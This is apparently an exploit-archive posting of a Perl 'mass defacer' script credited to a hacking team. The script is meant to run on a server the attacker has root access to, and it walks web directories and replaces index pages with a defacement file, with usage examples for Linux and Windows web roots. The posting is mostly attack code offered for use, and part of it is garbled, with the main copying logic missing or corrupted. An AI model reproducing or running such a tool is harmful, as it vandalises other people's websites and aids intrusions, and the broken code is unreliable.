=> Codigo Private, Codado em PERL para Rodar no Server Onde Voce Esta com Acesso R00t !

# Exploit Title: Windows & Linux Mass Defacer Script (c) Paki UrduHack Security Team
# Date: 23/02/2011
# Author: Dr Trojan from help with H-Sk33PY
# Platform / Tested on: Multiple / Linux & Windows
# Category: Local Exploits

010101010101010101010101010101010101010101010101010101010
0 0
1 Paki UrduHack Security Team 2010-2011 1
0 0
010101010101010101010101010101010101010101010101010101010

#Start Code ####################################################################

#!/usr/bin/perl

#My comments >>
#(C)oded by Dr Trojan
#Web: www.h4cking.net
#Windows & Linux mass defacer script (c) Paki UrduHack Security Team
#usage: mass.pl -i -d -p
#example: mass.pl -p public_html -i defaced.html -d c:\inetpub\wwwroot\
# [-p Optional ]
#mail: urduhack@gmail.com
#Special thanks: Code5 , H-Sk33PY , Rz04 , Sh0zY

#my used functions
use Getopt::Std;
use FileHandle;
use File::Copy "cp";
***lt;new("$file1","r");
cp($n,"$file2");
}

#list dir function
sub dizinbul {
my ($dir) = @_;
opendir(DIR, $dir) || return();
my @files = readdir(DIR);
closedir(DIR);
@files = grep { -d "$dir/$_" } @files; #Dr Trojan
my @files = grep { $_ !~ /^(.){1,2}$/ } @files;# Don't Mess With The Code
return(@files);
}

sub checkfile{$file=shift; if(!-e $file){print "\n\"$file\" file doesn't exists,check your index file\n";exit;} }
sub checkdir{$dir=shift; if(!-d $dir){print "\n\"$dir\" path doesn't exists,check your deface path\n";exit;} }

#How to use this script ?
sub usage{

if($unix){
system("clear");
}
else{system("cls");}

print q
[
=========================================================================
UrduHack MASS DEFACER TOOL
(C)oded by Dr Trojan
www.h4cking.net
usage: mass.pl -i -d -p
example: mass.pl -p public_html -i hacked.html -d c:inetpubwwwroot
-p Optional
=========================================================================
];
exit;
}
#End Code ####################################################################